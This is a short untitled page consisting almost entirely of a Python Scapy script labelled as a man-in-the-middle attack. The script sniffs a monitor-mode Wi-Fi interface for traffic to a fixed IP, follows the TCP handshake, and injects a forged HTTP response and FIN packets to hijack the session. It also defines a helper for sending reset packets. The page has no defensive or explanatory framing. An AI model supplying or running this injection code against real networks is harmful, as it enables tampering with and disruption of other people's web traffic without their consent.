---
# System prepended metadata

title: Untitled

---

Script for man in the middle attack
```python=
from scapy.all import *
from scapy.all import Ether,IP,TCP
from scapy.layers.http import HTTPRequest

def reply(p):
    packet = Ether(dst=p.addr2)/IP(src=p[IP].dst,dst=p[IP].src)/TCP(sport=p[TCP].dport,ack=1+p[TCP].seq,dport=p[TCP].sport,flags='RA')
    sendp(packet, iface='wlxac15a2af1bf9')



state="Waiting"
src=""
dst=""
sport=""
dport=""
seq=0
ack=0

def fake_http(p):
    global state,src,dst,sport,dport,seq,ack
    resp = "HTTP/1.1 200 OK\r\n"
    resp += "Content-Type: text/html\r\n"
    resp += "Content-Length: 15\r\n"
    resp += "\r\n"
    resp += "<h1>coucou</h1>"
    packet=Ether(dst=p.addr1)/IP(src=dst,dst=src)/TCP(sport=dport,dport=sport,flags='PA',seq=seq,ack=ack)/resp
    return packet

def man_in_the_middle(p):
    global state,src,dst,sport,dport,seq,ack
    if (p[TCP].flags=="S"):
        src=p[IP].src
        dst=p[IP].dst
        sport=p[TCP].sport
        dport=p[TCP].dport
        state="SYN_RCVD"
        print(src,dst,sport,dport) 
        print(state)      
    elif (state=="SYN_RCVD") and (p[IP].src==dst) and (p[IP].dst==src) and (p[TCP].sport==dport) and (p[TCP].dport==sport) and (p[TCP].flags=="SA"):
        print(state)
        state="SYN_ACK_RCVD"
    elif (state=="SYN_ACK_RCVD") and (p[IP].src==src) and (p[IP].dst==dst) and (p[TCP].sport==sport) and (p[TCP].dport==dport) and (p[TCP].flags=="A"):
        print(state)
        state="ACK_SENT"
    elif (state=="ACK_SENT") and (p[IP].src==src) and (p[IP].dst==dst) and (p[TCP].sport==sport) and (p[TCP].dport==dport):
        state="QUERY_SENT"    
        print(state)
    elif (state=="QUERY_SENT") and (p[IP].src==dst) and (p[IP].dst==src) and (p[TCP].sport==dport) and (p[TCP].dport==sport):
        seq=p[TCP].seq
        ack=p[TCP].ack
        print(state)
        packet= fake_http(p)
        sendp(packet, iface='wlxac15a2af1bf9')
        packet=Ether(dst=p.addr1)/IP(src=dst,dst=src)/TCP(sport=dport,dport=sport,flags='F',seq=seq+1)
        sendp(packet, iface='wlxac15a2af1bf9')
        sendp(packet, iface='wlxac15a2af1bf9')
        dst=""
        src=""
        sport=""
        dport=""
        seq=0
        state='Waiting'

    


sniff(iface='wlp0s20f3mon', filter='host 159.65.58.222', prn=man_in_the_middle)
```